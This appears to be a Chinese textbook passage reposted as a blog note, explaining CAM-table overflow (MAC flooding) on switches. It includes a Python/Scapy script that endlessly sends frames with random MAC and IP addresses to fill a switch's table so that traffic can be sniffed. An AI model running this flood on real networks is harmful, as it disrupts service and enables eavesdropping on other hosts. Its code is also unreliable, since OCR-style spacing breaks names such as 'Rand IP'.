数据链路层DoS

 

 

数据链路层DoS_第1张图片

图9-14    集线器应用原理

数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服 务攻击的主要目标为二层交换机。在早期网络中,通常都会使用集线器作为中间 处理设备。集线器属于纯硬件网络底层设备,没有任何“ 智能记忆” 能力和“学

习” 能力,也不具备交换机所具有的MAC地址表,所以集线器发送数据时都是没 有针对性的,而是采用广播的方式发送。也就是说当集线器要向某节点发送数据 时,不是直接把数据发送到目的节点,而是把数据包发送到与集线器相连的所有 节点,如图9-14所示。

当计算机1想要和计算机2通信时,首先计算机1将数据包发给集线器,由集  线器负责转发,但是当集线器不清楚哪个接口连接到了计算机2时,便会用广播  的方式向其他计算机发送数据包,此时如果网络中计算机设置为混杂模式,同样 也会接收到计算机2发送的数据。

 

 

 

 

 

交换机相比集线器而言,增加了“ 智能记忆” 能力和“学习” 能力,这两个功能  主要是通过交换机中的CAM表来实现的,这张表中保存了交换机中的每个接口所 连接计算机的MAC地址。

数据链路层DoS_第2张图片

图9-15    交换机应用原理

在应用交换机的局域网环境中,如图9-15所示,计算机1想要和计算机3通

信,会先将数据包发送到交换机上,由交换机提取接收到数据包的MAC地址,并 查询CAM表。如果在CAM表中检索到了对应的MAC地址信息,就将数据包发送  到查询到的MAC地址所对应的接口。如果没有查询到,再将数据包发往所有接口 相连接的主机。交换机的这项功能保证了局域网中交换机发送的数据包是以单播 形式传送的。但是CAM表是有一定限制的,在短时间内收到大量不同的源MAC    地址数据包时,CAM可能因为瞬间无法处理而溢出。溢出之后再次接收到的数据 包就会覆盖前面的条目,导致正常的数据包无法找到正确的对应关系,只能将数 据包广播出去,路由器的“ 智能记忆” 能力和“学习” 能力失效。此时攻击者只需要  在自己的计算机上将网卡设置为混杂模式,就能监听整个网络的数据。

综上所述,数据链路层的拒绝服务攻击其实就是通过伪造请求主机的MAC地 址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成

 

 

 

 

 

集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去,此时若 攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据 了。下面通过Python脚本分析这一功能。

1)构造随机的MAC地址和IP ,此处主要是利用Scapy自带的库函数 RandMAC() 和RandIP() ,如下代码是生成随机的MAC地址:

 

from scapy .all import *

import time

while(1) :

packet=Ether(src=RandMAC(),dst=RandMAC())

time .sleep(1)

print(packet.summary())

执行结果如下所示:

数据链路层DoS_第3张图片

2)当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机 查询CAM ,若不存在该信息,就会不断进行记录。短时间内,大量请求会导致 CAM被填满,失去交换机原有的功能。下面以ICMP数据包为例:

 

from scapy .all import *

import optparse

def attack(interface) :

pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=Rand IP(),dst=Rand IP())/ ICMP()

sendp(pkt,iface=interface)

def main() :

parser=optparse .OptionParser("%prog "+"-i interface")

parser .add_option( '-i ',dest= 'interface ',default= 'eth0 ',type= 'string ', help= 'Interface ')

(options,args)=parser .parse_args()

interface=options .interface

 

 

 

 

 

try:

while True:

attack(interface)

except Keyboard Interrupt :

print( '------------- ')

print( 'Finished! ')

if __name__== '__main__ ' :

main()

执行结果如下所示:

数据链路层DoS_第4张图片

 

你可能感兴趣的:(笔记)